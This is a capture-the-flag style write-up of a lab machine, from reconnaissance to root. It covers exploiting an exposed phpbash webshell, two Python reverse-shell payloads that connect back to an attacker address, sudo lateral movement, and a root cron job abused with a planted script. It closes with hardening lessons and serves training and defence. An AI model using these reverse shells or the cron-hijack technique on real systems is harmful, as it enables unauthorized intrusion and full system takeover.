Recon
Single open port — HTTP only. The site's about page mentioned the developer had been working on a tool called phpbash and testing it on the server. That was enough to start looking for it before any other enumeration.
$ nmap -sC -sV -oN nmap/initial 10.10.10.68 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) |_http-title: Arrexel's Development Site |_http-server-header: Apache/2.4.18 (Ubuntu)
The site is a development blog with a post describing phpbash — a semi-interactive PHP webshell the developer built and tested "on this very server." The hint is explicit. Time to find where it lives.
Enumeration
Standard directory brute-force to find the webshell location. I used a medium wordlist since the developer's blog was the only lead.
$ gobuster dir -u http://10.10.10.68 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt /images (Status: 301) /uploads (Status: 301) /php (Status: 301) /css (Status: 301) /dev (Status: 301) /js (Status: 301) /fonts (Status: 301)
The /dev/ directory had directory listing enabled. Inside: phpbash.php and phpbash.min.php. The developer left the webshell on the public-facing server — not a staging environment, not behind auth, just sitting there.
$ curl http://10.10.10.68/dev/ <!-- Directory Listing --> phpbash.min.php phpbash.php
Foothold
Navigating to http://10.10.10.68/dev/phpbash.php drops into a browser-based interactive shell running as www-data. It has tab completion, command history, and looks like a terminal emulator in the browser. Useful for initial enumeration, but I wanted a proper reverse shell for stability and TTY features.
From the phpbash interface I ran a Python reverse shell to get a proper connection:
# in phpbash — upgrade to a real reverse shell python -c 'import socket,subprocess,os;s=socket.socket();s.connect(("10.10.14.X",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])' # on my machine connect to [10.10.14.X] from (UNKNOWN) [10.10.10.68] 49874 /bin/sh: 0: can't access tty; job control turned off $ id uid=33(www-data) gid=33(www-data) groups=33(www-data)
Shell as www-data. First privesc check: sudo -l.
$ sudo -l Matching Defaults entries for www-data on bashed: env_reset, mail_badpass User www-data may run the following commands on bashed: (scriptmanager : scriptmanager) NOPASSWD: ALL
www-data can run anything as scriptmanager without a password. This is lateral movement, not vertical escalation — but it opens up new attack surface.
$ sudo -u scriptmanager /bin/bash -i bash: no job control in this shell scriptmanager@bashed:/var/www/html$ id uid=1000(scriptmanager) gid=1000(scriptmanager) groups=1000(scriptmanager)
Privilege Escalation
As scriptmanager I looked for directories and files owned by this account that weren't visible from www-data.
scriptmanager@bashed:~$ ls -la / drwxrwxr-- 2 scriptmanager scriptmanager 4096 Dec 4 2017 scripts
The /scripts/ directory is owned and writable by scriptmanager. It contained two files:
scriptmanager@bashed:/scripts$ ls -la -rw-r--r-- 1 scriptmanager scriptmanager 58 Dec 4 2017 test.py -rw-r--r-- 1 root root 12 Jan 1 12:01 test.txt
test.txt is owned by root but has a recent modification timestamp — updated within the last minute. test.py is a script that writes to test.txt. A root cron job is running all Python scripts in /scripts/ on a schedule (every minute based on the timestamp cycling). I wrote a reverse shell into the directory and waited.
# write malicious script into the cron-watched directory scriptmanager@bashed:/scripts$ cat > rev.py << 'EOF' import socket,subprocess,os s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("10.10.14.X",4445)) os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) subprocess.call(["/bin/sh","-i"]) EOF
# listener on port 4445 — root shell arrives within ~60 seconds connect to [10.10.14.X] from (UNKNOWN) [10.10.10.68] 42190 /bin/sh: 0: can't access tty; job control turned off # id uid=0(root) gid=0(root) groups=0(root)
Flags
Lessons Learned
- Development tools left on production/internet-facing servers are an instant foothold — always check developer blog posts and documentation on the site itself for hints about what's deployed.
- Directory listing enabled on web roots exposes file structure.
/dev/with phpbash inside should have been deleted or at minimum blocked by the web server config. sudo -u otheruseris lateral movement — don't ignore it just because it's not root. New user context opens new sudo rules, writable files, and process permissions.- When a cron job runs scripts from a directory the current user owns, write a reverse shell payload and wait — it's a passive path to root that requires no active exploitation.
Options -Indexes). Cron jobs running scripts from user-writable directories as root are a privilege escalation waiting to happen — use a dedicated read-only script location owned by root.